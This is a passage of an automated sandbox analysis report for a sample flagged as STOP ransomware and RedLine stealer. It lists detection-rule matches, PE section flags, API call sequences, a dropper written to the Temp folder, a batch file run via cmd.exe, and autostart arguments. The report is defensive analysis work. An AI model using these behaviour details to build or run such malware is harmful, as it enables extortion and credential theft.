Source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 26.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 21.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 12.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 17.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22815a0.1.raw.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 15.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 9.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.22c15a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 22.2.F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.23015a0.1.unpack, type: UNPACKEDPE	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000016.00000002.2411512364.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000000.00000002.2157499266.0000000002260000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.2217369169.00000000022C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000000.00000002.2157605018.0000000002300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.2252268227.00000000021E0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000009.00000002.2217283375.0000000002220000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000001A.00000002.2421904618.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000F.00000002.3338747640.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000002.2334754959.0000000000790000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_RedLineStealer_ed346e4c reference_sample = a91c1d3965f11509d1c1125210166b824a79650f29ea203983fffb5f8900858c, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.RedLineStealer, fingerprint = 834c13b2e0497787e552bb1318664496d286e7cf57b4661e5e07bf1cffe61b82, id = ed346e4c-7890-41ee-8648-f512682fe20e, last_modified = 2022-04-12
Source: 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000015.00000002.2346631320.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000011.00000002.2334933995.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000A.00000002.2252342161.0000000002280000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 00000007.00000002.2174466574.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: 0000000C.00000002.3349921663.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY	Matched rule: MALWARE_Win_STOP snort2_sid = 920113, author = ditekSHen, description = Detects STOP ransomware, clamav_sig = MALWARE.Win.Ransomware.STOP, snort3_sid = 920111
Source: 00000016.00000002.2411559257.0000000002300000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6432, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1804, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1404, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6272, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 7020, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 1492, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 5608, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 736, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 3196, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23
Source: Process Memory Space: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe PID: 6688, type: MEMORYSTR	Matched rule: Windows_Ransomware_Stop_1e8d48ff reference_sample = 821b27488f296e15542b13ac162db4a354cbf4386b6cd40a550c4a71f4d628f3, os = windows, severity = x86, creation_date = 2021-06-10, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Ransomware.Stop, fingerprint = 715888e3e13aaa33f2fd73beef2c260af13e9726cb4b43d349333e3259bf64eb, id = 1e8d48ff-e0ab-478d-8268-a11f2e87ab79, last_modified = 2021-08-23

Source: OmbNjE.exe.0.dr

Static PE information: Section: .reloc IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_DISCARDABLE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE

Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
Source: OmbNjE.exe.0.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ, IMAGE_SCN_MEM_WRITE
Source: F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe.7.dr	Static PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ

Source: OmbNjE.exe.0.dr

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_RESERVED size: 0x100000 address: 0x0

Source: classification engine

Classification label: mal100.rans.spre.troj.evad.winEXE@45/307@4/3

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 7_2_00411900 GetLastError,FormatMessageW,lstrlenW,lstrlenW,lstrlenW,LocalAlloc,lstrcpyW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrcatW,lstrlenW,_memset,lstrcpynW,MessageBoxW,LocalFree,LocalFree,LocalFree,

7_2_00411900

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Code function: 1_2_00F9119F GetCurrentProcess,OpenProcessToken,AdjustTokenPrivileges,CloseHandle,CloseHandle,

1_2_00F9119F

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 0_2_022607A6 CreateToolhelp32Snapshot,Module32First,

0_2_022607A6

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

Code function: 7_2_0040D240 CoInitialize,CoInitializeSecurity,CoCreateInstance,VariantInit,VariantInit,VariantInit,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,CoUninitialize,CoUninitialize,CoUninitialize,__time64,__localtime64,_wcsftime,VariantInit,VariantInit,VariantClear,VariantClear,VariantClear,VariantClear,swprintf,CoUninitialize,CoUninitialize,

7_2_0040D240

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\8HXJSKQQ\k1[1].rar

Jump to behavior

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Mutant created: \Sessions\1\BaseNamedObjects\{1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D}
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7028:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7140:120:WilError_03
Source: C:\Windows\SysWOW64\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3664

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe

File created: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Jump to behavior

Source: C:\Users\user\AppData\Local\Temp\OmbNjE.exe

Process created: C:\Windows\SysWOW64\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\0a4e793f.bat" "

Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: --Admin	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: IsAutoStart	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: IsTask	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: --ForNetRes	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: IsAutoStart	7_2_00419F90
Source: C:\Users\user\Desktop\F2E3FA89C1A2C72EA78C4D32446221C08B30C7C3363F8248F04AA9EEE2E15C70.exe	Command line argument: IsTask	7_2_00419F90
